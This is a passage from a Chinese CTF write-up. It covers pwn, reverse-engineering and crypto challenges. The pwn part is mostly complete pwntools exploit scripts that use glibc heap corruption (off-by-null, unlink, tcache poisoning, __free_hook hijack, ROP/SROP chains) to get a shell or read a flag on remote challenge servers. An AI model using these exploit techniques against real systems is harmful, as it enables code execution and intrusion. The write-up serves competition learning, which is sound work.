    p.sendlineafter("give me your index",str(idx))
    p.sendlineafter("give me your index",str(idx))
    p.sendafter("give me your content:",content)
    

def dele(idx):
    p.sendlineafter("root@$",'4')
    p.sendlineafter("give me your index:",str(idx))

def show(idx):
    p.sendlineafter("root@$",'2')
    p.sendlineafter("give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter("root@$",'5')
    p.sendafter("please input your username",name)
    p.sendafter("please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(0)+10)
num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter("please input your number:",str(num))
    p.recvline()
    if not p.recvuntil("you win",timeout=0.1):
        exit(0)
    login("AAAAA","AA")

    add(0,0x440,"AAA")
    add(1,0x88,"AAA")
    add(2,0x440,"AAAA")
    add(3,0x60,"AAA")
    dele(0)
    dele(2)
    add(0,0x450,"AAAA")
    add(2,0x440,"AAAAAAAA")
    add(4,0x440,"AAAAAAAA")
    edit(4,"\x70"*9)
    login("AAAAA","A"*100)
    show(4)
    libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym['__free_hook']
    print(hex(libc.address))
    login("AAAAA\x00","AAA\x00")
    edit(4,"A"*0xf+"+")
    login("AAAAA","A"*100)
    show(4)
    p.recvuntil("+")
    heap_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x290
    print(hex(heap_addr))
    login("AAAAA\x00","AAA\x00")

    ptr = heap_addr + 0xc60 - 0x20
    target = heap_addr + 0x10c0 - 0x20
    edit(0,p64(target))
    # for i in range(5):
    #     dele(i)


    # add(7,0x80,"AAA")
    # add(8,0x70,"AAAA")
    # add(9,0x3f0,"AAAA")
    add(5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(6,0x218,"AAA")
    add(7,0x4f0,"AAAA")
    dele(6)
    add(6,0x218,b"A"*0x210+p64(0x440))
    dele(7)

    add(7,0x210,"AAAA")
    add(8,0x60,"AAAAA")

    dele(3)
    dele(6)
    login("AAAAA\x00","AAA\x00")

    edit(8,p64(free_hook))

    add(6,0x60,"/bin/sh\x00")
    add(3,0x60,p64(libc.sym['system']))
    dele(6)
# gdb.attach(p,"")
while True:
    try:
        get_p("./pwnpwn")
        pwn(num)
        p.interactive()
    except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
 
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
 
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
 
libc = ELF('./libc-2.31.so')
 
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
 
menu = 'root@$\n'
def add(index, size, content = b'a'):
    sla(menu, '1')
    sla('give me your index:\n', str(index))
    sla('give me your size:\n', str(size))
    sa('give me your content:\n', content)
def show(index):
    sla(menu, '2')
    sla('give me your index:\n', str(index))
def edit(index, content):
    sla(menu, '3')
    sla('give me your index\n', str(index))
    sla('give me your index\n', str(index))
    sa('give me your content:\n', content)
def delete(index):
    sla(menu, '4')
    sla('give me your index:\n', str(index))
def login(user, passwd):
  sla(menu, '5')
  sla(b'username\n', user)
  sla(b'passwd\n', passwd)
 
login(b'1', b'1')
 
add(0,0x418, b"A"*0x100) 
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100) 
add(3,0x438, b"C0"*0x100) 
add(4,0x108,b'4'*0x100) 
add(5, 0x488, b"H"*0x100) 
add(6,0x428, b"D"*0x100)
add(7,0x108)
 
delete(0)
delete(3) 
delete(6) 
 
delete(2)
 
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 
 
add(3,0x418) 
add(6,0x428) 
add(0,0x418,b"0"*0x100) 
 
delete(0)
delete(3) 
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   
 
delete(3) 
delete(6) 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) 
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')    
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6) 
add(6, 0x458, 0x438*b'6'+p64(0x111)) 
delete(7) 
delete(4) 
 
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
 
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
 
inter()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

5.DE_CAT

代码审计

main()

经典堆题

init_s()

不用看就知道了,要orw

edit()

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""

def get_p(name):
    global p,elf 
    # p = process(name)
    p = remote("47.108.165.60",45244)
    elf = ELF(name)

def add(size,content):
    p.sendlineafter("input your car choice >> ","1")
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def edit(idx,content):
    p.sendlineafter("input your car choice >> ",'4')
    p.sendlineafter("idx:",str(idx))
    p.sendafter("content:",content)

def show(idx):
    p.sendlineafter("input your car choice >> ",'3')
    p.sendlineafter("idx:",str(idx))

def dele(idx):
    p.sendlineafter("input your car choice >> ",'2')
    p.sendlineafter("idx:",str(idx))

get_p("./CAT_DE")

add(0x440,"AAA")
add(0x88,"AAA")
add(0x440,"AAAA")
add(0x88,"AAA")
dele(0)
dele(2)
add(0x450,"AAAA")
add(0x440,"AAAAAAAA")
add(0x440,"AAAAAAAA")
show(4)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x21a000 - 0xe0
envrion = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(libc.address))
p.recv(2)

heap_addr = u64(p.recv(8)) - 0x290
print(hex(heap_addr))

for i in range(7):
    add(0xf8,"AAA")

add(0x108,"AAA")
add(0xf0,"AAAA")
add(0x88,"AAA")

for i in range(7):
    dele(i+5)

target = heap_addr + 0x17c0
ptr = heap_addr + 0xc60
edit(0,p64(target))
payload = p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr - 0x10)
payload = payload.ljust(0x100,b"\x00") + p64(0x100)
edit(12,payload)
dele(13)

add(0xe8,"AAAA")
add(0xe8,"AAAA")

dele(5)
dele(6)
show(12)
p.recvuntil("\xf1")
p.recv(7)
en_key = u64(p.recv(8))
print("en_key ===> " + hex(en_key))
key = u64(p.recv(8))
print("key ===> " + hex(key))
payload = p64(0)+p64(0xf1)+p64(en_key)+p64(key)
payload = payload.ljust(0xf0,b"\x00") + p64(0) + p64(0xf1) + p64((heap_addr+0x10)^en_key)
edit(12,payload)

add(0xe8,"AAAA")
add(0xe8,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(envrion-16))
print(hex(stdout))

add(0xd0,"A"*8)
show(7)
stack = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - 0x140 - 8
print(hex(stack))
edit(6,p64(0)*3+p64(0x0000000700010001)+p64(0)*24+p64(stack))


pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx_r12 = 0x000000000011f497 + libc.address
read_addr = libc.sym['read']
open_addr = libc.sym['open']
write_addr = libc.sym['write']

orw = p64(pop_rdi) + p64(stack) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(stack + 0x100) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(write_addr)

add(0xd0,b"./flag".ljust(8,b"\x00")+orw)
# gdb.attach(p,"b *free")

p.interactive()

注意也是libc-2.35,利用不了hook。

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./CAT_DE'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

    gdb_text='''

      telescope $rebase(0x202040) 16

      b _IO_obstack_xsputn

      '''

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',49429)

      gdb_open=0

      clibc.srand(clibc.time(0))

      libc=ELF('./libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

    def choice(a):

      io.sendlineafter(' >> \n',str(a))

    def add(a,b):

      choice(1)

      io.sendlineafter('size:\n',str(a))

      io.sendafter('content:\n',b)

    def edit(a,b):

      choice(4)

      io.sendlineafter(':\n',str(a))

      io.sendafter('content:\n',b)

    def show(a):

      choice(3)

      io.sendlineafter(':\n',str(a))

    def delete(a):

      choice(2)

      io.sendlineafter(':\n',str(a))

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    add(0x4f8,'aaa')

    add(0x6f8,'a')

    delete(0)

    delete(2)

    add(0x4f8,'\x00')

    add(0x4f8,'\x00')

    show(0)

    io.recvuntil('context:\n')

    io.recv(8)

    heap_base=u64(io.recv(6)+'\x00\x00')&0xfffffffffffff000

    show(2)

    io.recvuntil('context:\n')

    io.recv(8)

    libc_base=u64(io.recvuntil('\x7f')[-6:]+'\x00\x00')-libc.sym['_IO_2_1_stdin_']-0x1e0-0x60

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

    gadget=[

    'mov rdx, rbx; mov rdi, r12; call qword ptr [rbp + 0x38];',

    'mov rdx, r13; mov rsi, r12; mov rdi, r14; call qword ptr [rbx + 0x38];',

    'mov rdx, r13; mov rsi, r10; call qword ptr [rbx + 0x38];',

    'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];',

    'mov rdx, qword ptr [rbx + 0x40]; mov rdi, rbx; sub rdx, rsi; call qword ptr [rbp + 0x70];'

    ]

    gadget_addr=libc.search(asm(gadget[3])).next()

    delete(3)

    delete(2)

    delete(1)

    delete(0)

    add(0x508,'aaa')

    add(0xf0,'aa')

    add(0xf8,'aa')

    add(0x4f0,'aaa')

    add(0xf0,'aa')

    edit(0,p64(0)+p64(0x701)+p64(heap_base+0x2d0)*2+p64(heap_base+0x2a0)*0x10)

    edit(2,'\x00'*0xf0+p64(0x700))

    delete(3)

    delete(4)

    delete(1)

    add(0x540,'\x00'*0x4f0+p64(0)+p64(0x101)+p64((libc.sym['stderr'])^(heap_base>>12)))

    add(0xf0,'aa')

    add(0xf0,p64(heap_base+0x2b0))

    from FILE import *

    context.arch='amd64'

    IO=IO_FILE_plus_struct()

    IO._flags=0xfbad2087

    IO._lock= heap_base+0x10000 #can read addr

    IO._IO_save_base=0x21 #size unuse

    IO._chain=0x21 #size unuse

    IO.vtable=libc.sym['_IO_file_jumps']-0x240 

    #libc.sym['_IO_obstack_jumps'] _IO_obstack_xsputn

    IO_addr=heap_base+0x2b0

    SROP_addr=IO_addr+0x200+0x10

    obstack_addr=IO_addr+0xf0

    flag_name_addr=SROP_addr-0x8

    pay=str(IO)[0x10:]

    #pay+=obstack_addr

    pay+=p64(obstack_addr)

    #pading

    pay+='\x00'*0x8

    #obstack struct

    '''

    struct obstack          /* control current object in current chunk */

    {

      long chunk_size;              /* preferred size to allocate chunks in */

      struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */

      char *object_base;            /* address of object we are building */

      char *next_free;              /* where to add next char to current object */

      char *chunk_limit;            /* address of char after current chunk */

      union

      {

        PTR_INT_TYPE tempint;

        void *tempptr;

      } temp;                       /* Temporary for some macros.  */

      int alignment_mask;           /* Mask of alignment for each object. */

      struct _obstack_chunk *(*chunkfun) (void *, long);

      void (*freefun) (void *, struct _obstack_chunk *);

      void *extra_arg;              /* first arg for chunk alloc/dealloc funcs */

      unsigned use_extra_arg : 1;     /* chunk alloc/dealloc funcs take extra arg */

      unsigned maybe_empty_object : 1; /* There is a possibility that the current

      unsigned alloc_failed : 1;      

    };

    '''

    pay+='\x00'*0x38+p64(gadget_addr)

    pay+=p64(0)+p64(IO_addr+0x180+0x10)+p32(1)

    pay=pay.ljust(0x180,'\x00')

    pay+=p64(0)+p64(SROP_addr)

    pay=pay.ljust(0x1f8,'\x00')

    srop=SigreturnFrame()

    srop.rsp=SROP_addr+0x100

    srop.rdi=0

    srop.rsi=0

    srop.rdx=0x30

    srop.rip=pop_rax_ret+1

    pay+='./flag\x00\x00'

    pay+=str(srop)[:0x20]

    pay+=p64(libc.sym['setcontext']+61)

    pay+=str(srop)[0x28:]

    pay=pay.ljust(0x300,'\x00')

    pay+=p64(pop_rax_ret)+p64(3)

    pay+=p64(syscall_ret)

    pay+=p64(pop_rdi_ret)+p64(flag_name_addr)

    pay+=p64(pop_rsi_ret)+p64(0)

    pay+=p64(pop_rax_ret)+p64(2)

    pay+=p64(syscall_ret)

    pay+=p64(pop_rax_ret)+p64(0)

    pay+=p64(pop_rdi_ret)+p64(0)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

    pay+=p64(pop_rax_ret)+p64(1)

    pay+=p64(pop_rdi_ret)+p64(1)

    pay+=p64(pop_rsi_ret)+p64(heap_base)

    pay+=p64(syscall_ret)

    delete(2)

    delete(3)

    edit(1,(p64(0xfbad2087)+p64(0)+pay).ljust(0x4f0)+p64(0)+p64(0x101)+p64((heap_base+0xfa0)^(heap_base>>12)))

    add(0xf0,'aa')

    add(0xf0,p64(0)+p64(0x300))

    success('libc_base:'+hex(libc_base))

    success('heap_base:'+hex(heap_base))

    gdb_attach(io,gdb_text)

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

四、REVERSE

1.ez_cpp

patch程序, 输出匹配的密文数量到exitcode。

.text:00413CFA                 jmp     short loc_413D19

.text:00413CFA ; ---------------------------------------------------------------------------

.text:00413D19 loc_413D19:                             ; CODE XREF: .text:00413CFA↑j

.text:00413D19                 push    ecx

.text:00413D1A                 nop

.text:00413D1B                 call    ds:__imp_exit

爆破脚本:

import string
import os
import time

table = string.ascii_letters+string.digits+'!-{}'
# table = string.printable
# 'SYC{Y3S-yE5-y0u-S0Ve-Th3-C9P!!!}'
theflag = ''
while len(theflag) < 32:
    for ch in table:
        flag = (theflag+ch).ljust(32, '#')
        exitcode = os.system(f"echo {flag} | ez_cpp3.exe 1>&0")
        if exitcode >= len(theflag) + 1:
            theflag += ch
            print(theflag, exitcode)
            break
    else:
        print('not found')
    time.sleep(0.1)

2.3D_Maze

dump迷宫地图


m = ['#', ' ', '2', '$', '3', '@', '5']

for level in range(6):
    print('level', level)
    for y in range(10):
        line = ''
        for x in range(10):
            n = ida_bytes.get_dword(0x140005040+(level*100+y*10+x)*4)
            line += m[n]
        print(line)

手搓


level 0      跳 1-?-0
## #######
## #### ##
## #    ##
## # #####
## #     *衔接1   wddwwdddddD
## # #####
##       *衔接1   
##4# #####
###$######
###*######      w

level 5          可以跳回 0-9-3
###*######
### ######
### ######
### ######
### ######
##  ######
## #######
*  #######      ddwwdwwwwwW
##########
##########

level 1
##########
#    #####
# ##     *衔接2   dwwwdddsdddddD
# ########
* ########
##########
*    #####
##########
##########
##########

level 3       可以跳到5-7-0
##*#######    sssssssssS
## #######
## #  ####
##  ## ###
##  ######
##  ######
##  ## ###
## #  ####
## #######
##*#######

level 2       可以跳到4-0-9
*#########    wwW
 #########
*## # ### 
## # # # #
## #### ##
### ### ##
#### ## ##
## # ## ##
### ### ##
##########

level 4          可以跳3-0-2
######## *  从2过来  
######## #
*        #         assaaaaaaaaA
##########
##########
##########
##########
##########
##########
##########


00000000000111111111111112224444444444443333333333555555555550
wddwwdddddDdwwwdddsdddddDwwWassaaaaaaaaAsssssssssSddwwdwwwwwWw

snake:

import ctypes

from Crypto.Cipher import ARC4

from hashlib import md5

libc = ctypes.CDLL("ucrtbase.dll")

libc.srand.argtypes = [ctypes.c_uint]

libc.rand.restype = ctypes.c_int

srand = libc.srand

rand = libc.rand

srand(0x94307F97)

seed_list = []

for i in range(361):

    seed_list.append(rand())

def enc(buf, size, seed):

    srand(seed)

    keysize = int(rand()*1.0/32767.0 * 256.0)

    table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\x00'

    pwd = ''

    for i in range(keysize):

        idx = int(rand()*1.0 / 32767.0 * 63.0)

        pwd += table[idx]

    cipher = ARC4.ARC4Cipher(pwd.encode())

    xorstream = b'\x00'*size

    xorstream = cipher.encrypt(xorstream)

    outbuf = bytearray(buf)

    for i in range(size):

        outbuf[i] ^= xorstream[i]

    return bytes(outbuf)

foods = []

for i in range(361):

    srand(seed_list[i])

    while 1:

        y = rand() % 20

        x = rand() % 20

        if not (x == 0 or x == 19 or y == 0 or y == 19):

            # print(i, y, x)

            foods.append((y, x))

            break

tmp = 0x92

data = b'\x02'

for i in range(2):

    data += bytes([data[-1] ^ 0xBE])

# print(data.hex())

flag_data = data[:]

eat_count = 361 # 初始长度就是3, 但是要求吃361个 ???

for i in range(eat_count):

    y, x = foods[i]

    pos = y << 8 | x

    data = enc(data, 3+i, pos)

    # print(data.hex())

    _tmp = tmp

    # print(hex(tmp-1), hex(data[0]-1))

    tmp = ((tmp-1) ^ (data[0]-1)) & 0xFF

    flag_data = data[:]

    data = data[::-1]

    data += bytes([_tmp])

    # print(hex(tmp))

s = flag_data.ljust(361, b'\x00').hex().encode()

print('flag_data', len(flag_data))

print('SYC{'+md5(s[:722]).hexdigest()+'}')

babythread:

断在0x411BDE位置,把输入替换成密文

(DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91)。

然后断在memcmp处, 拿到明文flag。

k='!This_program_cannot'
def Rc4_Encrypt(m,key):
    s=[]
    t=[]
    out=[] #putput
    for i in range(256):
        s.append(i)
        t.append(key[i%len(key)])
    j=0
    for i in range(256):
        j=(j+s[i]+t[i])%256
        s[i],s[j]=s[j],s[i]
    i,j=0,0
    for p in range(len(m)):
        i=(i+1)%256
        j=(j+s[i])%256
        s[i],s[j]=s[j],s[i]
        index=(s[i]+s[j])%256
        out.append(s[index]^m[p])
    print(bytes(out))
rck=[0x01, 0xE5, 0xD5, 0x40, 0xC3, 0xD5, 0x76, 0x36, 0xFE, 0x66, 0x2D, 0x05, 0xC9, 0xFB, 0x50, 0xE7]
enc=[0xDE, 0x1C, 0x22, 0x27, 0x1D, 0xAE, 0xAD, 0x65, 0xAD, 0xEF, 0x6E, 0x41, 0x4C, 0x34, 0x75, 0xF1, 0x16, 0x50, 0x50, 0xD4, 0x48, 0x69, 0x6D, 0x93, 0x36, 0x1C, 0x86, 0x3B, 0xBB, 0xD0, 0x4C, 0x91]
Rc4_Encrypt(enc,rck)

0129FE14  53 59 43 7B 54 68 31 73 5F 69 73 5F 40 5F 45 61  SYC{Th1s_is_@_Ea  
0129FE24  73 59 5F 33 6E 63 72 79 70 74 4F 21 21 21 21 7D  sY_3ncryptO!!!!}

3.gowhere


from claripy import *
from libnum import *


tmp_flag = [BVS(f'flag{i}', 8) for i in range(30)]
# x_flag = b'111111111122222222223333333333'
# tmp_flag = [BVV(x_flag[i], 8) for i in range(30)]
flag = Concat(*tmp_flag)
unk = 9


def enc1():
    global unk
    unk += 1
    if unk & 1 == 0:
        for i in range(30):
            tmp_flag[i] = (unk+tmp_flag[i]) ^ 0x17


def enc2():
    global unk
    unk += 1
    tmp_flag[0] += 2
    tmp_flag[1] -= 28
    tmp_flag[2] ^= 0x47
    tmp_flag[3] += tmp_flag[4]
    tmp_flag[5] += 73
    tmp_flag[6] += 12
    tmp_flag[7] -= tmp_flag[8]
    tmp_flag[8] ^= 0x5A
    tmp_flag[9] ^= 0x22
    tmp_flag[10] += 20
    tmp_flag[12] -= 84
    tmp_flag[13] ^= 4
    tmp_flag[14] ^= 0x1C
    tmp_flag[17] -= 1
    tmp_flag[27] ^= 0x11
    tmp_flag[28] ^= 3


def enc3():
    global unk
    if unk % 3 == 2:
        v13 = 0
        v11 = 29
        while v13 < 15:
            tmp_flag[v13], tmp_flag[v11] = tmp_flag[v11], tmp_flag[v13]
            v13 += 1
            v11 -= 1
    unk += 1


solve = Solver()
for i in range(4):
    enc1()
    enc2()
    enc3()

print(hex(unk))

enc_flag = bytes.fromhex(
    '4D635D344309A2770ABFC9B3E96F797D7BE899904308BB990E2ED47B27B7')

for i in range(30):
    solve.add(enc_flag[i] == tmp_flag[i])


for k in solve.eval(flag, 2):
    print(n2s(k))

# b'SYC{I_h0pE_you_cAn_FInd_d4eam}'

4.ezr3

脱壳,调试

魔改UPX,将文件中的HCK改为UPX即可通过 upx -d 脱壳。

之后运行该文件发现报错信息如下,通过 system/bin/linker64 可知该文件为安卓平台下的ELF 

可执行文件 

之后即可将文件push到手机上并通过安卓真机+IDA调试

分析

main函数开头会修改内存中的数据,调试获取即可

加密过程如下:循环移位、异或、乘法运算

脚本:

unsigned int fin[36] = { 
0x0003B148, 0x000D2CAE, 0x0003A1FB, 0x00044F40, 0x000472DE, 0x0000CCC0, 
0x00001888, 0x00003B80, 
0x000702F7, 0x000C745C, 0x000658E0, 0x000858D4, 0x0000D5BD, 0x00004860, 
0x0014F410, 0x0002CB9F, 
0x000321DB, 0x0014D534, 0x00025DA0, 0x0006898C, 0x00123D56, 0x00058E4D, 
0x00050CF8, 0x00005D64, 
0x000978BA, 0x0008F290, 0x0003B568, 0x00054696, 0x00094C12, 0x0001021F, 
0x000DBACB, 0x00049680, 
0x0002FABD, 0x000F2B58, 0x0012D23C, 0x0014AED3 
}; 
unsigned long mul[36] = { 
0x0000000000000D21, 0x000000000000009D, 0x000000000000094B, 
0x00000000000003C9, 
0x0000000000000C3F, 0x00000000000017E9, 
0x000000000000130E, 0x0000000000000088,0x0000000000000486, 
0x000000000000202F, 
0x0000000000002230, 0x00000000000024B4, 
0x00000000000008B1, 0x0000000000000A9F, 0x0000000000001AD2, 
0x00000000000023EB, 
0x0000000000000C7E, 0x000000000000042B, 
0x00000000000005BF, 0x000000000000113C,0x0000000000000449, 
0x0000000000001751, 
0x0000000000000ACE, 0x0000000000001894, 
0x000000000000208A, 0x0000000000000E82, 0x00000000000006BD, 
0x0000000000000CEE,0x0000000000002386, 0x00000000000013D4, 0x0000000000000111, 
0x0000000000000D1C, 
0x000000000000238E, 0x0000000000001759, 0x000000000000012B, 
0x000000000000214D 
}; 
unsigned char flag[40] = { 0 }; 
unsigned long* a = &mul[18]; 
for (int i = 0; i < 36; i += 6) { 
flag[i] = fin[i] / (*(a - 18)); 
flag[i + 1] = fin[i + 1] / (*(a - 12)); 
flag[i + 2] = fin[i + 2] / (*(a - 6)); 
flag[i + 3] = fin[i + 3] / (*(a)); 
flag[i + 4] = fin[i + 4] / (*(a + 6)); 
flag[i + 5] = fin[i + 5] / (*(a + 12)); 
a++; 
} 
int j = 0; 
for (int i = 35; i >= 0; --i) { 
flag[i] ^= flag[j++]; 
flag[i] = ((flag[i] >> 4) | (flag[i] << 4)) & 0xff; 
} 
printf("%s", flag);

五、CRYPTO

1.signin

关键点是求出data1,data2。通过data3 = ring(data1 / data2)

我们可以使用连分数求解。

脚本1:

import gmpy2
from Crypto.Util.number import long_to_bytes


#求出data1,data2
data3=1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588


c = continued_fraction(data3)
print(c)


alist = c.convergents()
print(alist)


for i in alist:
a = str(i).split('/')
if len(a) > 1 and gcd(int(a[0]), int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(
a[0]).bit_length() == 256 and int(a[1]).bit_length() == 256:
print(a)
break
#['97093002077798295469816641595207740909547364338742117628537014186754830773717', '67958620138887907577348085925738704755742144710390414146201367031822084270769']


#解密leak得到p-q
data1=97093002077798295469816641595207740909547364338742117628537014186754830773717
data2=67958620138887907577348085925738704755742144710390414146201367031822084270769
leak=1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
e=data1
n=data1*data2
phi = (data1-1) * (data2-1)
d = gmpy2.invert(e,phi)
p_q = gmpy2.powmod(leak,d,n)
print(p_q)


#求解p,q
p_q=57684649402353527014234479338961992571416462151551812296301705975419997474236
n=2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
e = 65537
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
var("p,q")
eq1= p-q ==p_q
eq2= p*q ==n
sol = solve([eq1,eq2], p, q)
print(sol)


p = 89050782851818876669770322556796705712770640993210984822169118425068336611139
q = 31366133449465349655535843217834713141354178841659172525867412449648339136903
phi = (q-1) * (p-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)-data2
print(m)
print(long_to_bytes(m))
 

脚本2:

data3 = 1.42870767357206600351348423521722279489230609801270854618388981989800006431663026299563973511233193052826781891445323183272867949279044062899046090636843802841647378505716932999588
 
c = continued_fraction(data3)
alist = c.convergents()
 
for i in alist:
    a = str(i).split('/')
    if len(a)>1 and gcd(int(a[0]),int(a[1])) == 1 and is_prime(int(a[0])) and is_prime(int(a[1])) and int(a[0]).bit_length()==256 and int(a[1]).bit_length()==256:
        print(a)
        break
 
data1 = int(a[0])
data2 = int(a[1])
 
c = 1046004343125860480395943301139616023280829254329678654725863063418699889673392326217271296276757045957276728032702540618505554297509654550216963442542837
n = 2793178738709511429126579729911044441751735205348276931463015018726535495726108249975831474632698367036712812378242422538856745788208640706670735195762517
leak = 1788304673303043190942544050868817075702755835824147546758319150900404422381464556691646064734057970741082481134856415792519944511689269134494804602878628
 
tmp = leak % data1
paq = sqrt(tmp**2 + 4*n)
phi = n - paq + 1
 
d = inverse_mod(65537, phi)
m = pow(c, d, n)
print(int(m - data2).to_bytes(50,'big'))
SYC{a00338c150aa3a5163dbf404100e6754}


2.crazyTreat

关键在于构建关于m的多项式

$$P=m^p \pmod {p*q*r} \\
Q=m^q \pmod {p*q*r} \\
R=m^R \pmod {p*q*r} \\
 
费马小定理:\\
m^p=m \pmod p \\
P=m+k1*p+k2*pqr=m+k3*p \\
Q,R同理 \\\qquad\text{(1)}$$

即:

$$P=m+k3*p\\
Q=m+k4*q\\
R=m+k5*r\\

且:

k_3p=P-M,k_4q=Q-m,k_5r=R-m\\

所以:

P*Q*R-m^3-m*(P-m)*(Q-m)-m^2*((P-m)+(Q-m))-(R-m)*m^2-m*((P-m)+(Q-m))*(R-m)\equiv 0 \pmod n\qquad\text{(2)}$$
 
脚本1:
from Crypto.Util.number import *
import gmpy2
#coppersmith
clown = 128259792862716016839189459678072057136816726330154776961595353705839428880480571473066446384217522987161777524953373380960754160008765782711874445778198828395697797884436326877471408867745183652189648661444125231444711655242478825995283559948683891100547458186394738621410655721556196774451473359271887941209
trick = 13053422630763887754872929794631414002868675984142851995620494432706465523574529389771830464455212126838976863742628716168391373019631629866746550551576576


n = clown
p = trick


pbits = 512
kbits = 220
p=p>>kbits<<kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p
x0 = f.small_roots(X=2^kbits, beta=0.4)
p=p+int(x0[0])
print(p)


#构建关于m的多项式求解即可,m即为r
